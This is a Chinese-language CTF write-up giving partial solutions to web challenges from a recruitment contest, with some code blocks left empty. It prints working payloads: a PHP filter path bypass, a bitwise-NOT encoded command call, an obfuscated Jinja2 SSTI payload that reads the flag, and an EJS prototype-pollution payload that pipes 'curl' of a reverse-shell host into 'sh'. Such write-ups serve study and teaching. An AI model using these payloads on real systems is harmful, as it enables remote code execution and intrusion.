destdog招新赛web-部分题解
还有很多不足的地方需要学习
phpdest
1 | <?php |
比较简单,proc突破require_once的限制即可
1 | php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php |
EasyPHP
1 |
|
让他报错,调用set_error_handler即可
1 | ctf[]=$timme |
SimpleRCE
1 |
|
没过滤~
,取反
1 | aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%D5); |
blockchain
EasySSTI
过滤了
1 | ' |
过滤器构造
1 | {%set(zero)=(self|int)%}{%set(one)=(zero**zero)|int%}{%set(two)=(zero-one-one)|abs%}{%set(four)=(two*two)|int%}{%set(five)=(two*two*two)-one-one-one%}{%set(three)=five-one-one%}{%set(nine)=(two*two*two*two-five-one-one)%}{%set(seven)=(zero-one-one-five)|abs%}{%set(space)=self|string|min%}{%set(point)=self|float|string|min%}{%set(c)=dict(c=aa)|reverse|first%}{%set(bfh)=self|string|urlencode|first%}{%set(bfhc)=bfh~c%}{%set(slas)=bfhc%((four~seven)|int)%}{%set(yin)=bfhc%((three~nine)|int)%}{%set(xhx)=bfhc%((nine~five)|int)%}{%set(right)=bfhc%((four~one)|int)%}{%set(left)=bfhc%((four~zero)|int)%}{%set(but)=dict(buil=aa,tins=dd)|join%}{%set(imp)=dict(imp=aa,ort=dd)|join%}{%set(pon)=dict(po=aa,pen=dd)|join%}{%set(so)=dict(o=aa,s=dd)|join%}{%set(ca)=dict(ca=aa,t=dd)|join%}{%set(flg)=dict(fl=aa,ag=dd)|join%}{%set(ev)=dict(ev=aa,al=dd)|join%}{%set(red)=dict(re=aa,ad=dd)|join%}{%set(bul)=xhx~xhx~but~xhx~xhx%}{%set(ini)=dict(ini=aa,t=bb)|join%}{%set(glo)=dict(glo=aa,bals=bb)|join%}{%set(itm)=dict(ite=aa,ms=bb)|join%}{%set(pld)=xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right%}{%for(f,v)in((self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))())%}{%if(f==bul)%}{%for(a,b)in(v|attr(itm))()%}{%if(a==ev)%}{{b(pld)}}{%endif%}{%endfor%}{%endif%}{%endfor%} |
pharpop
fast destruct绕过
1 |
|
exp
1 | import requests |
phar用下面方法绕过:
1 | 新建.phar |
tar压缩,再用gizp压缩即可
funny_upload
.htaccess
对文件后缀没有过滤
对内容有过滤
1 | POST / |
middle
1 | import os |
直接import config然后调用backdoor就行,中间该mark的mark,最后用抛出异常来读即可
1 | from base64 import b64encode |
NodeSoEasy
组件的话,除了ejs差了一个小版本其他都是最新的
ejs这里的漏洞加了过滤绕不开,但是也学习了一下CVE-2022-29078
修复:
https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
http://suphp.cn/anquanke/54/236354.html
1 | {"__proto__":{"view options":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('curl https://your-shell.com/1.117.144.41:4444 | sh');","compileDebug":true,"debug":true}}} |
Really Easy SQL&Sql
两道比赛没出,属于是又卡在sql上了,听说之后群里给了hint,把黑名单给出来了,如下
看了一些赛后的wp,发现其实当时没试出来的原因很有可能是hackbar或者burp传的时候没有对%0之类的url解码,因为他过滤了%0
下图中的%%0d是python中双写百分号起到转义的效果